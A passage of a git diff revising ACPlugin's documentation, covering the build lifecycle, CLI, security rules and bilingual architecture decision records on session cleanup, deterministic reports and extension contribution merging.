依赖进入 Bundle,只有 `node:` 内置模块保持 external;可执行入口 mode 为 `0755`,module 入口为 `0644`,需要时输出相邻第三方许可证。Core 只编译一次,Claude Code 与 Codex 继承同一份 framework-owned 字节;没有稳定本地 Node/Plugin Root 契约的平台报告 `unsupported`,且不生成替代 Asset。类型检查仍由工程自己的 `tsc --noEmit` 负责。 + ## Extension 生命周期 ```text -configResolved → buildStart → discover → validate → build → Platform prepare → Adapter → Platform generate/validate → buildEnd +config → setup Sessions → discover Resources → Canonical Project +→ validate → compile → Platform base Package → Contributors → Core merge +→ finalize → materialize/validate candidates → Distributions +→ compatibility → transaction → reverse close ``` -Extension 只能使用 Core 提供的工作目录;build 应通过 `context.addWatchFile()` 登记实际读取的全部源码/依赖,使 `dev` 跟随完整模块图。其 Platform Adapter 可以提交 Artifact、在声明的 Document extension point 增加字段并报告兼容性;不能替换 Platform 流程,也不能直接写 `dist`。`buildEnd` 始终按初始化逆序执行。 +Descriptor 通过 `context.modules` 加载,可执行产物通过 Core 统一的 `context.compiler` Rolldown Service 构建;模块、许可证、Plugin 与 tsconfig 依赖图会自动进入 `dev` 监听。集成只获得 owner-scoped 能力,不得维护私有 bundler,也不能直接写 `dist`。Platform Contributor 从同一份不可变 base Package 返回自有 Asset、声明的 Document extension point 字段和兼容性,不能替换 Platform 输出或观察其他 Extension state。Session `close` 始终按初始化逆序执行。 ## CLI @@ -316,24 +341,24 @@ acplugin build acplugin migrate [destination] ``` -通用参数包括 `--config`、`--platform`、`--mode`、`--no-strict` 和 `--json`。 +通用参数包括 `--config`、`--platform`、`--mode` 和 `--json`。兼容性严格度通过 `acplugin.config.ts` 中的 `build.strict` 或 Platform factory override 声明。 - `validate`:完整生成并验证 Platform,但不写 `dist`。 -- `inspect`:额外返回 Artifact 详情,但不写 `dist`。 +- `inspect`:额外返回 Package/Asset 详情,但不写 `dist`。 - `build`:所有 Platform 成功后才原子替换完整 `dist`。 -- `dev`:监听配置、经 Jiti 转换的本地配置 import、Components、Public、descriptor 和 Extension 登记的 Bundle 依赖;工程外的已转换配置 helper 会按最近 package root 保守递归监听。每批新 watcher ready 后先补偿构建,失败时保留上次成功产物,修复后恢复构建。绕过 Jiti transform 的原生 ESM import 和运行时计算的动态 import 无法被精确发现,应放在工程根内,或由一个已转换 helper 使其 package root 进入监听边界。 +- `dev`:监听配置、Core Module/Build Service 的真实模块图、Components、Public、descriptor,以及 bundler/Plugin/license/tsconfig 依赖;Package 依赖按解析后的 package root 监听。每批新 watcher ready 后先补偿构建,失败时保留上次成功产物,修复后恢复构建。对托管的可执行 Bundle,Rolldown 无法纳入静态模块图的运行时计算 import 会直接被拒绝。 - 裸 `acplugin` 只打印 Help,不发起交互。 退出码:`0` 成功、`1` 工程/构建/Migration 失败、`2` CLI 用法或框架内部失败、`130` 取消。非 watch 命令的 JSON 模式只向 stdout 输出一个带版本的文档。 ## 确定性与安全 -- Artifact 只允许普通文件,带 owner、mode、size 和 SHA-256。 +- Asset 是 owner-scoped 不可变引用,报告包含 mode、size、SHA-256 和结构化 origin。 - 拒绝绝对/穿越路径、符号链接、大小写/Unicode 冲突和未授权来源。 - 构建使用同文件系统 stage、锁、事务记录、备份和完整目录 swap。 - 任意 Platform 失败都会保留上次完整 `dist`。 - 生成内容/报告不包含时间戳、临时路径、环境变量值或凭据。 -- 未启用对应 Extension 时,`src/hooks`/`src/mcp` 中存在内容会直接报错。 +- 未启用对应 Extension 时,`src/hooks` 或 `src/mcp` 中存在内容会直接报错;`src/runtime` 由 Core 直接拥有。 ## 旧版本 Migration @@ -347,7 +372,7 @@ acplugin migrate ./legacy-project ./new-plugin \ acplugin migrate owner/repository ./new-workspace --all ``` -支持本地 Claude 工程、单 Plugin、Marketplace 和 GitHub 来源。`--plugin ` 会把一个规范工程直接写到目标根;只有 `--all` 才创建由独立工程组成的 pnpm workspace。Skills、Commands、Agents 和可移植远程 HTTP MCP 会尽量映射;Instructions、原始 Hooks、Hook 实现文件、本地外部命令 MCP 和不支持的资源保存在 `.acplugin-migration/unmapped/`,同时生成稳定报告和人工处理项。每个生成工程都会在原子提交前通过公开 API 重新加载,并执行真实 Extension/Platform 验证。Migration 不允许原地写入。 +支持本地 Claude 工程、单 Plugin、Marketplace 和 GitHub 来源。`--plugin ` 会把一个规范工程直接写到目标根;只有 `--all` 才创建由独立工程组成的 pnpm workspace。Skills、Commands、Agents 和可移植远程 HTTP MCP 会尽量映射;Instructions、原始 Hooks、Hook 实现文件、本地外部命令 MCP 和不支持的资源保存在 `.acplugin-migration/unmapped/`,同时生成稳定报告和人工处理项。生成工程在原子提交前会经过公开配置加载、真实 Core Module Service、Scanner、生命周期和隔离的 Migration Validator;安装依赖后再由正式 Platform/Extension 完成完整语义验证。Migration 不允许原地写入。 `--dry-run` 不写目标目录;`--strict` 在出现 degraded/unmapped 时失败。 @@ -356,7 +381,7 @@ acplugin migrate owner/repository ./new-workspace --all 除公开包外,仓库还包含两个仅供仓库使用的私有 workspace: - `packages/docs` 是 VitePress 文档站,按 Guide、Config、Platform、Extension、Ecosystem、Playground 和 Resources 组织内容。每次启动或构建文档前,TypeDoc 都会为九个公开 package 根入口重新生成 API 页面和 sidebar。 -- `packages/playground` 是一个领域中立的六平台/Hooks/MCP 全能力模板。它验证规范 Commands、带辅助资源的 Skill、Agents、全部 portable Hook 事件、HTTP 与本地 MCP、Public 文件和 Claude Code/Codex Marketplace,不实现特定产品业务。 +- `packages/playground` 是一个领域中立的六平台/Hooks/MCP/Node Runtime 全能力模板。它验证规范 Commands、带辅助资源的 Skill、Agents、全部 portable Hook 事件、HTTP 与本地 MCP、Node Runtime、Public 文件和 Claude Code/Codex Marketplace,不实现特定产品业务。 ```bash pnpm run docs:dev # 生成 API 页面并启动 VitePress @@ -389,7 +414,7 @@ pnpm run docs:check pnpm run release:verify ``` -`release:verify` 会从同一 Revision 创建九个公开 tarball,检查 Manifest、文件列表、类型解析、peer rewrite 和品牌互操作,并在 monorepo 外的干净消费者中构建六 Platform/两 Extension 脚手架;不会发布 npm。 +`release:verify` 会从同一 Revision 创建九个公开 tarball,检查 Manifest、文件列表、类型解析、peer rewrite 和品牌互操作,并在 monorepo 外的干净消费者中构建六 Platform/两个 Extension 脚手架并验证内建 Runtime;不会发布 npm。 PR 会自动执行 lint/typecheck,并通过独立的 Docs/Playground 质量门。手工触发的 `Patch` Workflow 接收一个至少包含一份会升级公开包的有效 Changeset 的目标分支,消费 Changesets 以升级版本并生成 changelog,随后创建一个合并回该目标分支的版本 PR。 diff --git a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md index 9c9a56a..1cc2f23 100644 --- a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md +++ b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md @@ -1,47 +1,44 @@ -# ADR-0001: Lifecycle completion, deterministic inputs, and cache scope +# ADR-0001: Session close, deterministic inputs, and dev rebuild scope - Status: Accepted - Date: 2026-08-08 -- Applies to: ACPlugin 1.0 +- Updated: 2026-08-14 +- Applies to: Kernel v2, lifecycle API v1 ## Context -The managed-output transaction calls `buildEnd` after the new output has been swapped into place but while the previous output is still recoverable. A `buildEnd` failure therefore currently aborts the transaction and restores the previous complete output. +Kernel v2 replaces shared lifecycle hooks with one private `PlatformSession` or `ExtensionSession` per build. A Session may hold resources that must be released on success, failure, or abort, while a managed commit must remain rollback-capable until all required Session cleanup succeeds. -Lifecycle hooks also receive one frozen environment snapshot. Separately, report sanitization used every environment value as an unbounded substring replacement. That sanitizer could corrupt protocol identities such as `claude-code` when an unrelated environment value was `claude`. - -The 1.0 specification mentioned a dev cache without defining serializable Extension state, implementation fingerprints, replayable side effects, or cache-aware transaction semantics. A whole-execution cache would skip observable lifecycle hooks and could return an old `committed` result without validating the current output directory. +Build output and schema-v2 reports must also remain deterministic and free of machine paths or secrets. The former lifecycle exposed an ambient environment snapshot and discussed a cross-run dev cache without defining serializable state, implementation fingerprints, replayable effects, or transaction semantics. ## Decision -1. `buildEnd` remains part of the complete build transaction. A `buildEnd` error rolls back the new output and produces `success=false` and `committed=false`. -2. An error diagnostic can never coexist with `success=true`. `committed` reports whether the current invocation completed its managed commit, not whether a previous invocation once committed the same bytes. -3. `BuildStartContext.environment` and `BuildEndContext.environment` remain public lifecycle capabilities. Core captures one frozen snapshot for the invocation. -4. The captured environment snapshot is a deterministic input. Core and built-in implementations must not introduce undeclared time, randomness, paths, or Secret-value reads into artifacts or reports. Trusted project/config/Extension code remains responsible for any ambient state it intentionally observes. -5. Report sanitization removes structured secret fields, recognized credential forms, project/runtime roots, and temporary paths. It does not enumerate arbitrary environment values and replace matching substrings. -6. ACPlugin 1.0 does not implement a whole-execution or cross-run Core cache. The specification constrains a dev cache if one is implemented; it does not require one to exist. -7. A future cache requires an explicit versioned fingerprint, serializable values, replayable owner-scoped effects, complete dependency discovery, corruption handling, and clean-build equivalence tests. Third-party implementations are uncacheable by default unless they opt in to that future contract. +1. Core creates one isolated Session for every initialized Platform and Extension and calls `close()` exactly once in reverse initialization order. +2. For committed builds, `close()` runs from the transaction's `afterSwap` window. A close failure records a `cleanup` diagnostic, rolls back the new output, and leaves `success=false` and `committed=false`. +3. For validate, inspect, failed builds, and aborted development Sessions, Core closes initialized integrations outside the commit with `committed=false`. Cleanup continues after an individual close failure and never replaces the first business failure in the close summary. +4. Integration lifecycle contexts do not receive ambient `process.env`. Functional config sees only `{ command, mode }`; isolated execution receives only an explicit caller-supplied environment through `ExecutionService`. +5. Core and official integrations must not introduce time, randomness, machine paths, temporary paths, or secret values into Assets or reports. Sanitization removes structured secrets, recognized credentials, and known physical roots; it does not rewrite arbitrary substrings using environment values. +6. `Project.dev()` performs a complete BuildSession for every coalesced change round and preserves the last successful output. Kernel v2 has no whole-execution or cross-run cache. +7. Any future cache requires a versioned fingerprint, serializable owner-scoped state and effects, complete dependency discovery, corruption recovery, and clean-build equivalence tests. Third-party integrations are uncacheable unless a future explicit contract says otherwise. ## Consequences -- Cleanup failure continues to preserve the last complete distribution. -- REDACT-1 can be fixed without silently removing lifecycle environment access. -- Irrelevant environment values no longer rewrite report content. -- Development rebuilds continue to execute the full lifecycle and transaction in 1.0. -- A later incremental system is an architectural feature rather than an invisible optimization around arbitrary third-party code. +- A successful report cannot contain an error diagnostic. +- A failed cleanup cannot expose a partially committed target set. +- Development rebuilds keep lifecycle, dependency discovery, validation, and transaction behavior equivalent to clean builds. +- Integration authors cannot accidentally depend on an environment snapshot that the framework cannot audit. ## Rejected alternatives -- `success=true` with an error diagnostic: contradicts the diagnostic collector and CLI exit-code contract. -- Post-commit `buildEnd` with retained output: coherent only as `committed=true, success=false`, but changes the existing transaction contract without a 1.0 requirement. -- Replacing hook environment with an empty object: silently breaks a public context while trusted code can still observe global process state. -- Returning a previous `BuildResult` on a dev cache hit: skips hooks, dependency discovery, validation, transaction recovery, and current-output verification. +- Closing after the transaction is no longer rollback-capable: this could leave new output with a failed build result. +- Returning a previous report on a dev cache hit: this skips lifecycle effects, dependency discovery, recovery, and current-output validation. +- Replacing every environment-value substring in diagnostics: unrelated values can corrupt stable protocol identities. +- Allowing cleanup failure to overwrite the first business failure: it hides the actionable cause and makes diagnostics order-dependent. ## Evidence -- `packages/core/src/lifecycle.ts:218-226,286-348,702-718` -- `packages/core/src/transaction.ts:383-413` -- `packages/core/src/contracts.ts:188-193,257-264` -- `packages/core/src/diagnostics.ts:17-79` -- `packages/core/src/reports.ts:108-133` -- Specification §9.4, §10.3, and §18 +- `packages/core/src/kernel/build-session.ts` +- `packages/core/src/kernel/dev-session.ts` +- `packages/core/src/kernel/report-safety.ts` +- `packages/core/src/transaction.ts` +- `packages/core/src/kernel-types.ts` (`IntegrationCloseContext`, `ExecutionService`, `BuildReport`) diff --git a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md index 3302ce9..e8a8696 100644 --- a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md +++ b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md @@ -1,47 +1,44 @@ -# ADR-0001:生命周期完成、确定性输入与缓存范围 +# ADR-0001:Session 关闭、确定性输入与 dev 重建范围 - 状态:已接受 - 日期:2026-08-08 -- 适用版本:ACPlugin 1.0 +- 更新:2026-08-14 +- 适用范围:Kernel v2、lifecycle API v1 ## 背景 -托管输出事务在新输出完成 swap、但旧输出仍可恢复的窗口执行 `buildEnd`。因此当前 `buildEnd` 失败会中止事务并恢复上一份完整输出。 +Kernel v2 用每次构建独占的 `PlatformSession` / `ExtensionSession` 取代共享生命周期 Hook。Session 可能持有必须在成功、失败或中止后释放的资源;同时,托管提交在必要的 Session 清理全部成功前必须仍可回滚。 -生命周期 Hook 还会收到一次冻结的环境快照。与之无关的报告脱敏曾把所有环境值当成无边界子串替换;当某个环境值为 `claude` 时,它会破坏 `claude-code` 等协议身份。 - -1.0 规范提到 dev cache,却没有定义可序列化的 Extension 状态、实现指纹、可重放副作用或缓存命中时的事务语义。整条执行缓存会跳过可观察的生命周期 Hook,还可能在未验证当前输出目录时返回旧的 `committed` 结果。 +构建输出和 schema-v2 报告还必须保持确定性,并且不泄漏机器路径或 Secret。旧生命周期曾暴露环境快照,也讨论过跨轮次 dev cache,但没有定义可序列化状态、实现指纹、可重放副作用和事务语义。 ## 决策 -1. `buildEnd` 保持为完整构建事务的一部分。`buildEnd` 出错时回滚新输出,并得到 `success=false`、`committed=false`。 -2. error 诊断不得与 `success=true` 共存。`committed` 表示当前调用是否完成托管提交,不表示以前某次调用曾提交过相同字节。 -3. 保留 `BuildStartContext.environment` 与 `BuildEndContext.environment` 公共能力;Core 为一次调用捕获并冻结一份快照。 -4. 捕获的环境快照属于确定性输入。Core 与内置实现不得把未声明时间、随机、路径或 Secret 值读取引入 Artifact/报告;可信项目配置和第三方 Extension 对自己主动观察的机器状态负责。 -5. 报告脱敏处理结构化 secret 字段、可识别凭据形式、工程/运行根与临时路径;不得枚举任意环境值并替换同字子串。 -6. ACPlugin 1.0 不实现整条执行或 Core 跨运行缓存。规范只约束“若实现 dev cache”时的行为,不要求 1.0 必须存在缓存。 -7. 未来缓存必须先定义版本化 fingerprint、可序列化值、可重放的 owner-scoped effects、完整依赖发现、损坏恢复和 clean-build 等价测试。第三方实现默认不可缓存,除非显式加入未来协议。 +1. Core 为每个已初始化的 Platform/Extension 创建隔离 Session,并按初始化逆序恰好调用一次 `close()`。 +2. 对需要提交的构建,`close()` 在事务的 `afterSwap` 可回滚窗口运行。关闭失败会记录 `cleanup` 诊断、恢复旧输出,并得到 `success=false`、`committed=false`。 +3. `validate`、`inspect`、失败构建和被中止的开发 Session 在事务外关闭已初始化集成,`committed=false`。单个关闭失败不阻止其余关闭,也不能覆盖 close 摘要中的首个业务失败。 +4. 集成生命周期 Context 不接收环境变量快照。函数式配置只能观察 `{ command, mode }`;隔离执行只通过 `ExecutionService` 接收调用方显式提供的最小环境。 +5. Core 和官方集成不得把时间、随机、机器路径、临时路径或 Secret 值写入 Asset/报告。脱敏只处理结构化 Secret、可识别凭据和已知物理根,不用任意环境值做无边界子串替换。 +6. `Project.dev()` 对每个合并后的变更轮次执行完整 BuildSession,并保留最后一次成功输出。Kernel v2 不提供整条执行或跨轮次缓存。 +7. 未来缓存必须先定义版本化 fingerprint、可序列化的 owner-scoped 状态与副作用、完整依赖发现、损坏恢复和 clean-build 等价测试。第三方集成默认不可缓存,除非未来协议显式允许。 ## 影响 -- 清理失败继续保留上一份完整交付产物。 -- REDACT-1 可以在不静默删除生命周期环境能力的前提下修复。 -- 无关环境值不再改写报告内容。 -- 1.0 的每次 dev 重建仍执行完整生命周期与事务。 -- 后续增量系统是显式架构能力,而不是围绕任意第三方代码的透明捷径。 +- 成功报告不能同时包含 error 诊断。 +- cleanup 失败不能暴露部分提交的目标集合。 +- dev 重建与 clean build 保持生命周期、依赖发现、校验和事务语义一致。 +- 集成作者不能意外依赖框架无法审计的环境快照。 ## 未采用方案 -- `success=true` 同时带 error 诊断:违反 Diagnostic Collector 与 CLI exit-code 契约。 -- `buildEnd` 改为提交后清理并保留输出:只有 `committed=true, success=false` 才自洽,但 1.0 没有改变现有事务契约的必要。 -- 把 Hook 环境改成空对象:静默破坏公共 Context,而且可信代码仍可读取全局进程状态。 -- dev cache 命中时直接返回旧 `BuildResult`:会跳过 Hook、依赖发现、验证、事务恢复和当前输出校验。 +- 在事务失去回滚能力后才关闭 Session:可能留下“新输出已生效、构建却失败”的状态。 +- dev cache 命中时直接返回旧报告:会跳过生命周期副作用、依赖发现、恢复和当前输出校验。 +- 用所有环境值替换诊断中的同字子串:无关值可能破坏稳定协议身份。 +- 让 cleanup 失败覆盖首个业务失败:会隐藏可行动原因,并让诊断依赖执行顺序。 ## 证据 -- `packages/core/src/lifecycle.ts:218-226,286-348,702-718` -- `packages/core/src/transaction.ts:383-413` -- `packages/core/src/contracts.ts:188-193,257-264` -- `packages/core/src/diagnostics.ts:17-79` -- `packages/core/src/reports.ts:108-133` -- 规范 §9.4、§10.3 与 §18 +- `packages/core/src/kernel/build-session.ts` +- `packages/core/src/kernel/dev-session.ts` +- `packages/core/src/kernel/report-safety.ts` +- `packages/core/src/transaction.ts` +- `packages/core/src/kernel-types.ts`(`IntegrationCloseContext`、`ExecutionService`、`BuildReport`) diff --git a/llmdoc/architecture/decisions/0002-extension-contribution-order.md b/llmdoc/architecture/decisions/0002-extension-contribution-order.md index 8aeb8e8..22e9dfa 100644 --- a/llmdoc/architecture/decisions/0002-extension-contribution-order.md +++ b/llmdoc/architecture/decisions/0002-extension-contribution-order.md @@ -1,42 +1,42 @@ -# ADR-0002: Extension contribution order is configuration order +# ADR-0002: Extension contributions are unordered and centrally merged - Status: Accepted - Date: 2026-08-08 -- Applies to: lifecycle API v1 +- Updated: 2026-08-14 +- Applies to: Kernel v2, lifecycle API v1 ## Context -Platform Adapters run serially against one mutable Platform Draft. `getDocument()` returns the current document, including patches from earlier Extensions, while `patchDocument()` and `emitArtifact()` add owner-scoped contributions. +An Extension builds one Platform-independent immutable state and may publish a `PlatformContributor` for each supported Platform. If Contributors mutated a shared package or observed earlier contributions, configuration order would become an implicit dependency and conflict resolution would degrade into first-writer-wins behavior. -Add-only ownership prevents replacement and silent deep merge, but it does not make Adapter execution commutative. An Adapter can inspect an earlier contribution before choosing a different value. A synchronous owner-conflict exception can also be caught by Adapter code unless Core remembers that the contribution was rejected. +Kernel v2 instead needs independent integrations, parallel-safe collection, and deterministic conflicts. ## Decision -1. The order of `extensions[]` in resolved configuration is the semantic Extension contribution order. -2. Adapters execute serially in that order and may observe contributions accepted from earlier Adapters through `getDocument()`. -3. Lifecycle API v1 does not add `order`, `enforce`, an Extension dependency graph, or parallel Adapter execution. Reordering the configuration is the explicit ordering mechanism. -4. Add-only and owner isolation remain mandatory. They constrain what each Adapter may change; they do not promise order-independent output. -5. A rejected `patchDocument()` or Artifact contribution makes the current Platform invalid even if Adapter code catches the immediate exception. Core owns the final validity decision. -6. Reports and tests describe configuration-order behavior directly. Documentation must not justify the absence of `order/enforce` by claiming that contributions commute. +1. A Platform creates one frozen base Package. Every matching Framework and Extension Contributor reads that same base snapshot. +2. A Contributor cannot observe another Contribution, another Extension's state, or a mutable Package. +3. Core collects Extension Contributions concurrently, binds each one to its owner, sorts the collection by stable owner identity, and performs one centralized add-only merge. +4. Contributions may fill declared empty Document extension points, add owner-authorized Assets, and report compatibility. They cannot replace or delete base content, append to undeclared fields, claim Components, or override another owner. +5. Duplicate Document fields, Asset paths, compatibility tuples, or normalization-equivalent paths fail deterministically. Configuration order is not a conflict-resolution mechanism. +6. Lifecycle API v1 does not add `order`, `enforce`, an Extension dependency graph, cross-Extension state access, or claim/suppress protocols. ## Consequences -- The current implementation model and official Adapters remain compatible. -- Third-party authors have one deterministic and inspectable ordering mechanism. -- Reordering Extensions can intentionally change output and must be treated as a configuration change. -- Same-extension-point conflicts fail rather than degrade into first-writer-wins. -- A future order-independent model would require every Adapter to read one pre-adapter snapshot, buffer declarative contributions, and let Core merge them centrally with order-independent diagnostics. That would be a new lifecycle API decision. +- Reordering independent Extensions does not change successful Package bytes. +- Contributor collection can run concurrently without changing semantics. +- Conflicts are explicit architecture errors rather than order-sensitive output. +- Features that truly require cooperation must be represented by a shared Framework contract or a Platform extension point, not hidden Extension sequencing. ## Rejected alternatives -- Claiming add-only merge is naturally commutative: contradicted by `getDocument()` and first-writer ownership. -- Adding `enforce:'pre'|'post'`: introduces a second ordering vocabulary without solving data dependencies. -- Sorting Extensions by name: deterministic but silently ignores the user's configuration order and changes existing behavior. -- Pre-adapter snapshots in 1.0: requires a buffered contribution protocol and changes what current Adapters can observe. +- Serial mutation in configuration order: creates an undocumented dependency graph and observable partial state. +- `enforce: 'pre' | 'post'`: adds ordering vocabulary without defining safe data dependencies. +- Last-writer-wins merge: violates owner isolation and hides incompatible integrations. +- Direct Platform replacement or Component suppression: expands the authority model beyond additive integration. ## Evidence -- `packages/core/src/contracts.ts:266-283` -- `packages/core/src/documents.ts:198-236,305-325` -- `packages/core/src/lifecycle.ts:543-580` -- Specification §9.3 and §9.4 +- `packages/core/src/resources/extension-provider.ts` +- `packages/core/src/package/package-registry.ts` +- `packages/core/src/kernel/build-session.ts` +- `packages/core/src/kernel-types.ts` (`PlatformContributor`, `ContributionContext`, `PackageContribution`) diff --git a/llmdoc/architecture/decisions/0002-extension-contribution-order.zh-CN.md b/llmdoc/architecture/decisions/0002-extension-contribution-order.zh-CN.md index 9b4254b..a856efd 100644 --- a/llmdoc/architecture/decisions/0002-extension-contribution-order.zh-CN.md +++ b/llmdoc/architecture/decisions/0002-extension-contribution-order.zh-CN.md @@ -1,42 +1,42 @@ -# ADR-0002:Extension 贡献顺序等于配置顺序 +# ADR-0002:Extension Contribution 无序并由 Core 集中合并 - 状态:已接受 - 日期:2026-08-08 -- 适用范围:lifecycle API v1 +- 更新:2026-08-14 +- 适用范围:Kernel v2、lifecycle API v1 ## 背景 -Platform Adapter 针对同一个可变 Platform Draft 串行运行。`getDocument()` 返回包含前序 Extension patch 的当前文档;`patchDocument()` 与 `emitArtifact()` 则提交带 owner 的新增贡献。 +Extension 只构建一次与 Platform 无关的不可变状态,并可为每个支持的平台提供一个 `PlatformContributor`。如果 Contributor 修改共享 Package 或观察前序 Contribution,配置顺序就会成为隐式依赖,冲突也会退化为 first-writer-wins。 -Add-only 与 owner 隔离可以阻止替换和静默 deep merge,但不能使 Adapter 执行天然可交换。Adapter 可以先观察前序贡献,再决定另一个字段的值。同步 owner-conflict 异常也可能被 Adapter 自己捕获,除非 Core 记住该贡献已经被拒绝。 +Kernel v2 需要的是相互独立的集成、可并行收集和确定性冲突。 ## 决策 -1. resolved config 中 `extensions[]` 的顺序就是 Extension 贡献的语义顺序。 -2. Adapter 按该顺序串行执行,并可通过 `getDocument()` 观察此前已接受的贡献。 -3. lifecycle API v1 不增加 `order`、`enforce`、Extension 依赖图或并行 Adapter;调整配置数组就是显式排序机制。 -4. Add-only 与 owner 隔离继续是强制不变量。它们限制每个 Adapter 能改什么,但不承诺产物与执行顺序无关。 -5. `patchDocument()` 或 Artifact 贡献一旦被拒绝,即使 Adapter 捕获即时异常,Core 仍必须把当前 Platform 标为无效;最终有效性由 Core 决定。 -6. 报告和测试直接描述配置顺序语义。文档不得再以“贡献可交换”为不增加 `order/enforce` 的理由。 +1. Platform 创建一份冻结的 base Package;所有匹配的 Framework/Extension Contributor 都读取同一个 base snapshot。 +2. Contributor 不能观察其他 Contribution、其他 Extension state 或可变 Package。 +3. Core 并发收集 Extension Contribution,为每条贡献绑定 owner,按稳定 owner 身份排序,再执行一次集中式 add-only merge。 +4. Contribution 只能填写已声明且为空的 Document extension point、追加 owner 已授权的 Asset,并报告兼容性;不能替换或删除 base 内容、写入未声明字段、接管 Component 或覆盖其他 owner。 +5. 重复 Document 字段、Asset 路径、兼容性 tuple,以及大小写/Unicode 归一化等价路径都会确定性失败。配置顺序不是冲突解决机制。 +6. lifecycle API v1 不增加 `order`、`enforce`、Extension 依赖图、跨 Extension state 访问或 claim/suppress 协议。 ## 影响 -- 保持当前实现模型与官方 Adapter 兼容。 -- 第三方作者只有一套确定、可检查的排序机制。 -- 调整 Extension 顺序可能有意改变产物,必须视为配置变化。 -- 同一 extension point 冲突会失败,不会退化为 first-writer-wins。 -- 未来若要求顺序无关,必须让所有 Adapter 读取同一份 pre-adapter snapshot、缓冲声明式贡献,并由 Core 以顺序无关方式集中合并与报告;这属于新的 lifecycle API 决策。 +- 调整相互独立的 Extension 顺序不会改变成功 Package 的字节。 +- Contributor 可以并发收集而不改变语义。 +- 冲突是显式架构错误,不会产生依赖顺序的输出。 +- 真正需要协作的能力必须进入共享 Framework contract 或 Platform extension point,不能隐藏在 Extension 顺序中。 ## 未采用方案 -- 宣称 add-only 天然可交换:与 `getDocument()` 及 first-writer owner 事实冲突。 -- 增加 `enforce:'pre'|'post'`:引入第二套排序语言,却不能解决数据依赖。 -- 按 Extension 名称排序:虽然确定,但会忽略用户配置顺序并改变现有行为。 -- 1.0 引入 pre-adapter snapshot:需要缓冲贡献协议,并改变当前 Adapter 可观察内容。 +- 按配置顺序串行修改:会产生未声明依赖图和可观察的部分状态。 +- `enforce: 'pre' | 'post'`:增加排序词汇,却没有定义安全的数据依赖。 +- last-writer-wins:破坏 owner 隔离,并掩盖互不兼容的集成。 +- 直接替换 Platform 或 suppress Component:把权限模型扩张到 additive integration 之外。 ## 证据 -- `packages/core/src/contracts.ts:266-283` -- `packages/core/src/documents.ts:198-236,305-325` -- `packages/core/src/lifecycle.ts:543-580` -- 规范 §9.3 与 §9.4 +- `packages/core/src/resources/extension-provider.ts` +- `packages/core/src/package/package-registry.ts` +- `packages/core/src/kernel/build-session.ts` +- `packages/core/src/kernel-types.ts`(`PlatformContributor`、`ContributionContext`、`PackageContribution`) diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md index 5fc6c7a..00bc614 100644 --- a/llmdoc/architecture/decisions/0004-first-class-platform-packages.md +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md @@ -14,7 +14,7 @@ Making `@tokenroll/acplugin/platforms/` an export subpath would still leave 1. `@tokenroll/acplugin` provides only the CLI and public framework SDK; it does not re-export official Platforms or Extensions. 2. Each official Platform is published as `@tokenroll/acplugin-platform-`. The Extensions retain `@tokenroll/acplugin-extension-`. -3. Every official integration imports only public contracts from `@tokenroll/acplugin` and declares it as a peer dependency. Production sources cannot import private Core. +3. Every official integration imports only public contracts from `@tokenroll/acplugin/sdk` and declares the main package as a peer dependency. Production sources cannot import private Core. 4. `platforms` is required. The main package does not load official implementations by default or by ID. `init` preserves the default Claude Code and Codex experience by generating explicit dependencies and imports. 5. Official integrations are versioned independently; lifecycle `apiVersion` and the main-package peer range express compatibility. 6. Third-party packages need no registry, official scope, or enforced naming convention. @@ -38,7 +38,8 @@ Making `@tokenroll/acplugin/platforms/` an export subpath would still leave ## Evidence - `packages/acplugin/src/index.ts` -- `packages/acplugin/src/project-config.ts` +- `packages/acplugin/src/project.ts` +- `packages/acplugin/src/sdk.ts` - `packages/acplugin/tsdown.config.ts` - `packages/platforms/*/package.json` - `packages/extensions/*/package.json` diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md index 8d83d19..babb1ef 100644 --- a/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md @@ -14,7 +14,7 @@ 1. `@tokenroll/acplugin` 只承担 CLI 和公开框架 SDK,不重新导出官方 Platform/Extension。 2. 六个官方 Platform 分别发布为 `@tokenroll/acplugin-platform-`,两个 Extension 继续使用 `@tokenroll/acplugin-extension-`。 -3. 所有官方集成只从 `@tokenroll/acplugin` 导入公开契约,并把它声明为 peer dependency;生产源码不得导入私有 Core。 +3. 所有官方集成只从 `@tokenroll/acplugin/sdk` 导入公开契约,并把主包声明为 peer dependency;生产源码不得导入私有 Core。 4. `platforms` 配置必填。主包不按缺省值或 ID 加载官方实现;`init` 通过显式依赖和 import 保留默认 Claude Code/Codex 的脚手架体验。 5. 官方集成独立版本化,以 lifecycle `apiVersion` 和主包 peer range 表达兼容性。 6. 第三方包无需注册、无需官方 scope,也不强制命名;只要使用公开工厂和契约即可参与同一 lifecycle。 @@ -38,7 +38,8 @@ ## 证据 - `packages/acplugin/src/index.ts` -- `packages/acplugin/src/project-config.ts` +- `packages/acplugin/src/project.ts` +- `packages/acplugin/src/sdk.ts` - `packages/acplugin/tsdown.config.ts` - `packages/platforms/*/package.json` - `packages/extensions/*/package.json` diff --git a/llmdoc/architecture/system.md b/llmdoc/architecture/system.md index 168dbb7..e3f9bd5 100644 --- a/llmdoc/architecture/system.md +++ b/llmdoc/architecture/system.md @@ -2,101 +2,101 @@ > [中文对照](system.zh-CN.md) -## Pipeline +## Product boundary -```text -acplugin.config.ts - → resolve/validate config - → initialize Platforms and Extensions - → Extension discover, then canonical Component/Public scan - → Extension validate/build - → Platform prepare - → Extension Platform Adapters - → Platform generate/validate/distribute - → immutable DeliveryUnit/Artifact graph - → compatibility strictness - → validate-only materialization or managed output transaction - → stable report -``` - -`validate`, `inspect`, and `build` run this same pipeline. Only report detail and commit behavior differ. `dev` creates a fresh pipeline per coalesced rebuild, includes Extension-reported bundle module graphs, performs a catch-up build after watcher 